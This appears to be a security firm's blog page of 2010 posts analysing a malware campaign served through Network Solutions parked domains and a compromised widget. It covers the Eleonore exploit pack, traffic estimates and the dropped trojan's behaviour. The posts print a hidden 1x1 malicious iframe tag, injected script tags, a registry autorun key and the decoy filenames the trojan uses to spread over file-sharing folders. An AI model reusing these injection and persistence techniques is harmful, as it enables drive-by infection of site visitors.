Parked domain numbers and traffic, and more on the exploits served

(by Wayne Huang of Armorize)
We received a number of questions on details of malicious parked domains incident, so let us give some clarifications on the questioned issues.

The scale and impact of incident.

We strongly believe that the number of potentially impacted users is high. There were some misunderstanding that the widget was serving only to Asian IPs. No, the widget was serving once per IP, to all IPs worldwide.

We studied two references to external components, which are rendered by browsers when a parked domain page is loaded. One component is loading a javascript snippet from and is only served to visitors coming from Taiwan or Hong Kong. Another component is loading a widget from a compromised system and is served to any visitor world-wide.

The first component (asian) includes a reference to a counter. Therefore we are can observe volume of traffic from asian IP addresses. The second component is loaded from a compromised system and serves malware via injected iframe once per each unique IP address. As of this moment we are not able to obtain any statistics on this component but we can infer and estimate the numbers using other known factors.

The affected platform
We briefly covered it in our part 1 post, the widget directs the browser to load content from the following exploit server:
<iframe frameborder=0 src="" width=1 height=1 scrolling=no></iframe>

This URL is still active right now, and is serving Eleonore version 1.3.1:

Eleonore exploit pack (a bundle of exploits with some programmatic logic behind), as most browser exploit packs, tries to serve the "right" exploits to corresponding browsers. This particular version of the bundle targets vulnerabilities in following software: Adobe Reader, Java(cross-browsers), Internet Explorer, Firefox, and Opera. Below is the of included exploits (we'll update the post later to add hyperlinks for the above; sorry for now):

ActiveX pack
JNO (JS navigator Object Code)
Font tags
PDF collab.getIcon
PDF Util.Printf
PDF collab.collectEmailInfo
Java D&E
Soc pack (iframe ver)

Average infection rates are: 5-17% on North American traffic, and 10-25% on .ru traffic.

Now, the detailed explanation on number of domains and the impact:

The number of visits to these parked domains and actual traffic volume touches a sensitive topic--parked domain monetization. According to Wikipedia's definitions, "Domain parking may also refer to an advertising practice known as parked domain monetization,[1] used primarily by domain name registrars and Internet advertising publishers to monetize type-in traffic visiting a parked or minimally developed domain name.."

How much traffic, and hence money, does this strategy brings? Reference [1] in the above Wikipedia page pointed to ICANNWiki's "Domain Parking" definition:

According to a November 17, 2005 Wall Street Journal article, "revenue from text ads on these sites will total $400 million to $600 million world-wide this year and may reach $1 billion by 2007, according to Susquehanna Financial Group analysts Marianne Wolk and Roxane Previty, who track the online ad industry."

How many visitors do we need in order to generate this type of revenue from per-click ads? A lot.

The refered WJS article is available here. There are also other similar market reports. Another interesting number is mentioned here: CircleID: "According to Ram Mohan from Afilias, 3 of the big 5 registrars say that they make over $5m-$8m / year from parked domain monetization pages."

You can also find random forum posts by PPC "businessmen" who generate their revenue through parked domain services:register three digit impressions.

Nevertheless, it's long been a debate (for example here) on the legality of such business, or whether search engines should index parked domains, and if so, how many pages per parked domain should be indexed. In our last post, we provided this link, which showed that Yahoo Search indexes more than 5 million Network Solutions parked domains. Now, only after a few days, clicking on the same page shows only 6 results. If we enter the same search phrases into Bing, it's the same--6 results.

If we want to fight parked domain monetization (do we? should we?), not indexing these pages is definitely a good effort on the part of the search engines.

But the question remains--so what's the number??

We can use the following calculation approach:

  • Submit key terms to search engines to make the search engines dump out (only) the parked domains in the search results.
  • Sequentially click and analyze the returned URLs.

In our brief experiment, we identified more than a hundred parked domains, and with only 3 of the domains not serving malicious widget at the time of our initial report.

To validate, let's assume that there is only 1,000,000 of parked domains. And then let's assume that out of them only 120,000 were infected. Then the probability for us to click on an arbitrary search result and hit an infected page, would be 120,000 * 100 / 1,000,000 = 12%. This certainly wasn't the case as seen in the video we posted earlier.

Another approach:
The script served by on the default parking page is served only to visitors with IPs located in two geographic regions--Taiwan, and Hong Kong. That script pulls in a public Web analytics The account used does not require a password to view statistics. This analytics account was registered on Feb 5th of this year, and although it is serving to (and therefor recording) only IPs coming from Taiwan and Hong Kong, it still shows a number of 1187301 unique IP visits in total, with only 5316 visits today. This sheds light into just how much traffic the default parking page might be generating in total.

Let us illustrate this with a few screenshots. First screenshot shows that most visitors come from either Taiwan or Hong Kong. One of the server-sides scripts is responsible for determining this, and it of courses uses a different GeoIP database than the one used by the analytics service, and that's why you see that there are still 11% coming from the US--these 11% of IPs are believed to come from either Taiwan or China by the server-side script, but the analytics service believes they come from the US:

So, how many average page views per day? Let's look at the web analytics again. Note that this script is included in many other hosting companies' default parking pages:

According to the analytics, there is an average number of 14,073 page views per day.
According to, Taiwan and Hong Kong contributes to 2% and 0.6% of Asia's Internet population (China is 50.9%), respectively. Together they make 2.6% of Asia's traffic. Since Asia makes up 42% of the Internet population, Taiwan plus Hong Kong traffic make up 2.6% * 42% = 1.1% of all traffic to all the parking pages that include this particular script.

So 14,073 daily page views / 1.1% = 1,279,363 page views per day--over one million potential daily "parking" page views. Even if Network Solutions contribute to only 1/10th of the parking domains traffic, this is still 127,936 page views per day, that was served with malware, for a long period of time.

What's interesting here, is the fact that what seems to be very little traffic per domain, actually accumulates to a significant volume. If we take a look at the referer rankings, only the top 2 referers (parking pages) had three digit daily page views!

Furthermore, this is the total number of accumulative page views that was served with malware. Slashdot user noc007 commented about our research comments:
"I thought this was a known fact Network Solutions' parked pages served malware in one form or another. Back in July of last year I got some questions from an executive why the domain the company recently registered for was being blocked by the corporate web content filter. Turns out the Network Solutions parked page had an iframe that was serving malware from I explained it and provided the parked page's html code with the offending code highlighted.

Doing some Google searches showed that I wasn't the only one that had noticed this."

Followed by The-Blue_Clown:
"I had the same exact experience. The only issue was I had an exec that wasn't going to be pushed around by the IT guys. She ordered the filter relaxed. I only got my way when i told her i needed all such requests in writing as she was assuming the known risk i had just finished explaining to her."

We also mentioned similar incidents in the past. In fact, we've seen the same infected widget on a parked domain back in May--we simply did not realize it was on all default parked pages.

The key difference from typical injection attacks that we've seen in the past, such as the recent hit by mass SQK injection incident is that such injections are usually cleaned up very quickly.

For large websites, sometimes within a day.

In contrast to that, a persistent injection against a widget or an online ad script on "parked domains"--domains which all together can add up to more than a million page views per day--went unnoticed for for months.

So to conclude, this time we've learned:

1. Parked domains do draw significant traffic, and that's why there's the parked domain monetization business.
2. Since there's traffic, criminals will try to infect parked domains.
3. In this case study, although only two parked domains had three digit daily page views, the daily page view can be over one million. This is due to the sheer large number of parked domains.
4. Compared to another vector for mass spreading drive-by downloads--mass SQL injections, infecting parked domains can result in longer lifespan of the infection, and hence potentially larger accumulative traffic, and hence a potentially larger number of vinctims.
5. Compared with infecting high traffic domains, mass infecting a large number of parked domains may yield comparable or even better accumulative page views. The infection may have a longer life span.
6. Compared to mass SQL injections, compromising a hosting platform allows for much better control of when and what to serve, or not to serve. With a webshell, the attacker can decide to activate serving of malware any time, and also deactivate any time.
*. We note that infecting parked domains can be done via compromising hosting systems or widgets (like this case study), or via malvertising.

An interesting question is: if all parked domains together generate as much traffic as a major website, then which infection will live longer? When you visit a major website and your (good) antivirus alerts you of malware, you tend to want to look into it and perhaps also report it. That's why large websites rarely get away with the public knowing about their infections.

When you visit a parked domain and your antivirus alerts you, would you bother reporting it?

Regardless of the answer, the widget had significant traffic, and it was there serving Eleonore at least since may. That's what we learned this time.

Infections to high traffic domains may generate big news, but it may not be the primary contributor of botnet growth. With respect to drive-by downloads spreading malware, persistent growth of botnets come from the millions of infected pages on the Internet. The challenge lies in how to infect these pages, how to keep them infected, and how to keep security vendors from finding out. Once security vendors find out, patterns are added, antivirus alerts, infection rates drop, the infected domains are fixed, the exploit serving domains are taken down, and the means to spread malware ends. Mass SQL injections and attacks against high traffic domains, though can infect a large number of visitors initially, have a short tail because such efforts are likely to be spotted very quickly.

Infecting parking domains, as in this case study, provided the attackers with a means to still just use a single infection vector to infect a large number of domains, while at the same time, keep the public's attention low enough so the infection can have a very long life span, and hence high accumulative page views, and hence a large number of infections.

Every day, HackAlert continues to generate plenty of records of infected URLs, and we do look into those infected URLs whose Alexa scores are high. But our domain correction mechanism apparently isn't sophisticated enough to automatically alert us of a potential hosting provider compromise. That's why this time, our findings came from a manual investigation effort, which was initiated because we were strongly questioned by one of our clients on why we were flagging some parked pages. We should start to improve this.

Finally, based on the scope of this incident and the surrounding incidence response efforts, we were impressed with Network Solutions speed and honesty. We sent Shashi, their Blogger Relations Manager, a tweet, to which is responded very quickly. Later, by reading his tweets, we realized that he was on vacation (and it was on a weekend). He was on phone with us shortly, and a couple of hours later the widget was disabled. They made no attempt to hide the fact, and published a blog timely. Although we disagree on the number of infected domains, we felt they handled this particular incidence very well.

The beginning of year saw attacks increasing targeted at hosting companies; many of which fell prey and as a result, multiple hosted websites / blogs served malware for a period of time. Drive-by downloads can be massively spread via mass SQL injections, hosting platform compromises, widget infections, parked domain mass infections, LAN man-in-the-middle, and WAN man-in-the-middle. From our observation, the number of attempts to mass-spread drive-by downloads continues to rise. Web owners and hosting providers should be alerted, and also realize that a great deal can be learnt from past incidents.
Read more (rest of article)...

IFrames and URL Stringency - Mozilla Firefox Bug

Updated: A relative POC is released HERE

The inline frames play a crucial part in sharing and delivering third party content through them. But this is also a hardened fact that Iframes are used effectively by malware writers to spread infection across domains in a hidden manner. But the question is , Do browsers play significant role in this?

The URL obfuscation is a big stringency in the online world. Actually, it tests the browser efficiency to dissect the behavior of crafted URL. That has to be done. The browsers have shown a rogue behavior in determining the source and destination of URL's when it is obfuscated or fused with meta characters. This is dangerous from a user perspective because a victim can go to undesired destination. Well, lot of changes have been noticed in browser development with respect to that but in certain conditions , browsers still fail to find the authentic nature of URL's being rendered in the browser. A Google Chrome URL Obfuscation Vulnerability can be seen HERE

Further, a recent bug has been posed to BugZilla ID - 570658 regarding the behavior of IFrames and Frames handling the URL obfuscation. Firefox implements a notification alert to user when a obfuscated URL is used in the address bar as follows

On performing analysis of various malware, a bug has been noticed in all version of Firefox which fails to generate an alert when obfuscated URL is being placed in Iframes. In certain cases, it can be used effectively in spreading malware and stealing sensitive information. While discussions on BugZilla, it is noticed that Firefox behavior is completely different in these two scenarios which should not happen. The bug is in open state now. The major improvements can be seen in the following trunk


A generic POC can be considered as

[iframe src="" width="600" height="600" /];

May be it is considered as a fact that frames are not shown directly but this is a bug by behavior. We can expect some changes in coming time regarding this falsified behavior.
Read more (rest of article)...

More than 500,000 (or 5,000,000 according to Yahoo) Network Solutions parked domains actively serving malware

(by Wayne Huang, Chris Hsiao, NightCola, and other Armorize colleagues)
(see Part 1 here)
(please see our follow-up post if you have time)

A few days ago, in response to questions by one of our largest customers, we analyzed a widget by Network Solutions, confirmed that it was infected, and published the last blog "SMCI widget and by Network Solutions still serving malware."

It was actually a report that we wrote for this customer, to assure them that although other detection mechanisms aren't flagging, that we are rightfully flagging these pages as malicious.

Soon after publishing the blog, we realized that it was the same widget that got the parked domain infected, which we blogged about back in May.

Yesterday I had some time to sit down and study this widget further, and discovered something critical--it's a part of the standard domain parking page of Network Solutions.

And so, just how many domains (not pages) are currently affected and serving malware?

More than 500,000 domains, according to Google:

According to Yahoo, add a zero to that, at least 5,000,000 domains:

I didn't have time to click on every single one of them, but I clicked on enough to conclude that, all of them are indeed infected, via the same widget we blogged about a few days ago. Also, neither Google or Yahoo actually shows all results. Google shows the first 45 pages only, and Yahoo shows the first 100 only. So we couldn't really go through all the domains one by one...and 5 million is too large a number for manual verification anyways.

Deciding to look a bit deeper to see if there are other infections, I realized that there is. The behavior is quite the same as our alert back in May.

One infection, in addition to the widget, is this:
<script src="" language="JavaScript" charset="gb2312"></script>                   

Analyzing this and comparing traffic logs of the post back in May, we concluded the the attacker uses the following free traffic analysis services, which are the two most popular choice among attackers in greater China--cnzz and Specifically, the following accounts are used:

1. ID 3542139
2. ID 1803216

Since both accounts were registered with handle "skbanner," we assume it's not multiple infections by different attackers but the same attacker using two counters. The account can be accessed:

First, the account was registered on Feb 5th. A day later, on Feb 6th, Tata Consulting Services, who uses Network Solutions as domain registrar, had their DNS records manipulated, according to TechCrunch and other media. This all happened shortly after Jan 19th, when Network Solutions publicly addressed that some of their sites have been hacked and they are addressing the problem.

The "skbanner" counter recorded 2,683,120 accumulative page views--that's a lot of victims out there.

The highest page view was seen on April 3rd, 2010. This time frame is close to the largest incident in this series--on April 7th, WordPress admins started to post on the WordPress Forum complaining that their WordPress on Network Solutions has been compromised and were serving malware. That thread had 151 posts total.

Network Solutions acknowledged the problem on April 9th with a blog post Alert: WordPress Blog & Network Solutions. If these events were associated, then sometime in early April the attacker group must have decided to leverage the control they had of Network Solutions, and massively injected malicious content not into the default parked domain page, but rather, into the hosted WordPress blogs and / or websites.

It's concerning that this series of compromises happened starting Jan of this year, and today we are still seeing more than 500,000 Network Solutions domains actively serving malware as we write.

We also just registered a domain,, with Network Solutions, and verified that it indeed actively serves malware the moment that it's up. Here's what we did:

First we paid for our domain:

Then we set it to park using the "standard construction page":

It's done. We connect to our newly purchased and parked domain, and as you can see, the fake (and malicious) QQ messagebox pops up, and the compromised (and malicious) Network Solutions SMCI widget is there, too. From the traffic, yes, it's serving malicious content, which is the same as described in our last blog post.

One of the dropped malware executable is: C:\Documents and Settings\Administrator\Application Data\SystemProc\lsass.exe
The hidden directory SystemProc is created by a javascript exploit.

VirusTotal says that the detection rate by antivurs companies for this lsass.exe file is exactly 50%--21 out of 42 antivirus solutions can detect this file.

We have prepared a demo video here:

We have managed to get in touch with Network Solutions, and within less than three hours, they have acted and taken down the widget. Actually, they have commented the code out, so you can still see it if you "view source."

At the same time, while trying to figure out the exact number of affected domains, we realized that Yahoo is probably more correct on this--it was more than five million domains! Here's a video:

Finally, as to the dropped malware lsass.exe itself, here's what it does (credits to Chris Hsiao):
When run, itcreates the following components:
%ProgramFiles%\Mozilla Firefox\extensions\{9ce11043-9a15-4207-a565-0c94c42d590d}\install.rdf
%ProgramFiles%\Mozilla Firefox\extensions\{9ce11043-9a15-4207-a565-0c94c42d590d}\chrome.manifest
%ProgramFiles%\Mozilla Firefox\extensions\{9ce11043-9a15-4207-a565-0c94c42d590d}\chrome\content\timer.xul
%USERPROFILE%\Application Data\SystemProc\lsass.exe

The following registry key is added in order to auto start itself after reboot:
"RTHDBPL" = "%appdata%\SystemProc\lsass.exe"

It monitors the following Web browsers:

User searches using the following search engines are redirected to another Web site:

It monitors the following search terms and pops up advertisement accordingly:

It searches for the following directories:
C:\program files\winmx\shared\
C:\program files\tesla\files\
C:\program files\limewire\shared\
C:\program files\morpheus\my shared folder\
C:\program files\emule\incoming\
C:\program files\edonkey2000\incoming\
C:\program files\bearshare\shared\
C:\program files\grokster\my grokster\
C:\program files\icq\shared folder\
C:\program files\kazaa lite k++\my shared folder\
C:\program files\kazaa lite\my shared folder\
C:\program files\kazaa\my shared folder\

If any of the above directories are found, it duplicates itself (lsass.exe) into the directories. It renames itself into the following names:
YouTubeGet 5.6.exe
Youtube Music Downloader 1.3.exe
WinRAR v3.x keygen [by HiXem].exe
Windows2008 keygen and activator.exe
[+ MrKey +] Windows XP PRO Corp SP3 valid-key generator.exe
Windows Password Cracker + Elar3 key.exe
[Eni0j0 team] Windows 7 Ultimate keygen.exe
Windows 2008 Enterprise Server VMWare Virtual Machine.exe
Website Hacker.exe
[Eni0j0 team] Vmvare keygen.exe
VmWare 7.x keygen.exe
UT 2003 KeyGen.exe
Twitter FriendAdder 2.3.9.exe
Tuneup Ultilities 2010.exe
[antihack tool] Trojan Killer v2.9.4173.exe
Total Commander7 license+keygen.exe
Super Utilities Pro 2009 11.0.exe
Sub7 2.5.1 Private.exe
Sophos antivirus updater bypass.exe
sdbot with NetBIOS Spread.exe
[fixed]RapidShare Killer AIO 2010.exe
Rapidshare Auto Downloader 3.8.6.exe
Power ISO v4.4 + keygen milon.exe
[patched, serial not needed] PDF Unlocker v2.0.5.exePDF-XChange Pro.exe
[patched, serial not needed] PDF to Word Converter 3.4.exe
PDF password remover (works with all acrobat reader).exe
Password Cracker.exe
Norton Internet Security 2010 crack.exe
Norton Anti-Virus 2010 Enterprise Crack.exe
Norton Anti-Virus 2005 Enterprise Crack.exe
NetBIOS Hacker.exe
NetBIOS Cracker.exe
[patched, serial not need] Nero 9.x keygen.exe
Myspace theme collection.exe
MSN Password Cracker.exe
Mp3 Splitter and Joiner Pro v3.48.exe
Motorola, nokia, ericsson mobil phone tools.exe
Microsoft.Windows 7 ULTIMATE FINAL activator+keygen x86.exe
Microsoft Visual Studio KeyGen.exe
Microsoft Visual C++ KeyGen.exe
Microsoft Visual Basic KeyGen.exe
McAfee Total Protection 2010 [serial patch by AnalGin].exe
Magic Video Converter 8.exe
LimeWire Pro v4.18.3 [Cracked by AnalGin].exe
L0pht 4.0 Windows Password Cracker.exe
K-Lite Mega Codec v5.2 Portable.exe
K-Lite Mega Codec v5.2.exe
Keylogger unique builder.exe
Kaspersky Internet Security 2010 keygen.exe
Kaspersky AntiVirus 2010 crack.exe
IP Nuker.exe
Internet Download Manager V5.exe
Image Size Reducer Pro v1.0.1.exe
ICQ Hacker Trial version [brute].exe
Hotmail Hacker [Brute method].exe
Hotmail Cracker [Brute method].exe
Half-Life 2 Downloader.exe
Grand Theft Auto IV [Offline Activation + mouse patch].exe
Google SketchUp 7.1 Pro.exe
G-Force Platinum v3.7.6.exe
FTP Cracker.exe
DVD Tools Nero 10.x.x.x.exe
Download Boost 2.0.exe
Download Accelerator Plus v9.2.exe
Divx Pro 7.x version Keymaker.exe
DivX 5.x Pro KeyGen generator.exe
DCOM Exploit archive.exe
Daemon Tools Pro 4.8.exe
Counter-Strike Serial key generator [Miona patch].exe
CleanMyPC Registry Cleaner v6.02.exe
Brutus FTP Cracker.exe
Blaze DVD Player Pro v6.52.exe
BitDefender AntiVirus 2010 Keygen.exe
Avast 5.x Professional.exe
Avast 4.x Professional.exe
Ashampoo Snap 3.xx [Skarleot Group].exe
AOL Password Cracker.exe
AOL Instant Messenger (AIM) Hacker.exe
AnyDVD HD v. Beta incl crack.exe
Anti-Porn v13.x.x.x.exe
Alcohol 120 v1.9.x.exe
Adobe Photoshop CS4 crack by M0N5KI Hack Group.exe
Adobe Illustrator CS4 crack.exe
Adobe Acrobat Reader keygen.exe
Ad-aware 2010.exe
[patched, serial not needed] Absolute Video Converter 6.2-7.exe

It retrieves the following URLs to fetch commands and download more malware (link currently not working):

(please see our follow-up post if you have time)
Read more (rest of article)...

SMCI widget and by Network Solutions still serving malware, part 1/3

by Wayne Huang, NightCola Lin, Chris Hsiao of Armorize.
(Please see follow-up post: More than 500,000 Network Solutions parked domains actively serving malware)
Screenshot 1

The beginning of this year saw mass Web hosting compromises across numerous hosting providers; thousands of websites were compromised via vulnerabilities in shared hosting providers and as a result, were serving malware. We thought eventually everything would be cleaned up and everyone's operations would be back to normal--but it seems that didn't happen... yet.

Recently a lot of our HackAlert customers are still flagged (by HackAlert) to be serving malware. We noticed a particular group of them today--those that have installed the "Small Business Success Index" widget by Network Solutions. There are two ways one can install the widget into one's website or blog--via the one-click installation script offered by Widgetbox (as seen in Screenshot 1 above), or by directly visiting Network Solution's (Screenshot 2 below).
Screenshot 2

We quickly registered a Google Blogger account and verified that whoever installed this widget, will be serving malware as of now. Although Widgetbox is only one website providing an installation script for this widget, this site alone has recorded 5,371 installations (yes that "1" is us) already (see Screenshot 1 above). This means more than five thousand sites may be affected.

Here are the steps we went through in our verification process. We first went to Widgetbox and clicked on the "Install Widget" button as seen in Screenshot 1. A popup showed us the javascript to embed, as well as one-click-install buttons for Facebook, Blogger, Twitter, iGoogle, WordPress, LinkedIn, my Yearbook, etc. Yikes:
Screenshot 3

We clicked on "Blogger" and it worked--our armorizetest blog now has the widget installed:
Screenshot 4

Clicking on "Edit" shows the widget's javascript code--it's loading the javascript from
Screenshot 5

Visiting our test blog now shows the widget:
Screenshot 6

And now, our blog is officially serving malware. Scanning this test blog with HackAlert shows that our blog is indeed serving malware now. Here's the traceback:

1. in,
<script type="text/javascript" src=""></script><script type="text/javascript">if (WIDGETBOX) WIDGETBOX.renderWidget('68804a4e-6a5a-444c-b0d7-efdced64bee1');</script>

if(!window.WIDGETBOX){(function(){var D=false;var C=function(){WIDGETBOX.setPageLoaded();};var B=function(){WIDGETBOX.setPageUnloaded();};WIDGETBOX={libs:{},version:"39866",urls:{runtimeBaseUrl:"",...,markupRuntimeBaseUrl:"",...},

3., code omitted

<iframe style="" height="300px" frameborder="0" style="border:none;overflow:none;" width="180px" src=""></iframe>

<iframe frameborder=0 src="" width=1 height=1 scrolling=no></iframe>

6., malicious code
7., malicious code
8., malicious code
9., malicious code
10., malicious code

Conclusion: what a quick way to make your blog, website, facebook, linkedin, all serving malware.

Googling a bit, we verified that the domain was definitely compromised and injected with a r57shell (webshell), which allowed the attacker easy manipulation of the site. Check this link.

In part 2, we'll detail the actual malware behavior.

Note: We received some questions so we'll answer here. If you are trying to analyze this malware, note that it's quite mean and implements the following behavior:
1. Serves to each IP only once
2. Blocks well-known drive-by download analysis services such as Wepawet and jsunpack. These won't be able to help you in this case--see Wepawet results and jsunpack results.
Read more (rest of article)...

Our black hat, DEF CON 2010 slides are online

A big thanks to everyone who came to our talk, and to the black hat and DEF CON staff! We've had a lot of fun this year, the conferences rocked! Love it.

Our talks at black hat and DEF CON 2010 are here:

Drivesploit: Circumventing Both Automated AND Manual Drive-By-Download Detection (blackhat and DEF CON)

NoSQL, no SQL injections? (DEF CON)

0box Analyzer--Afterdark Runtime Forensics for Automated Malware Analysis and Clustering (DEF CON)

Read more (rest of article)...

Scaling Web 2.0 Malware Infection - TRISC 2010

We presented at Texas Regional Information Security Conference (TRISC) Grapevine, Texas. The conference in itself was highly structured. We discussed about malware infections in web 2.0 environment discussing about various facets of malware infections and the way client machines are actually get compromised. The presentation is rooted below.

Read more (rest of article)...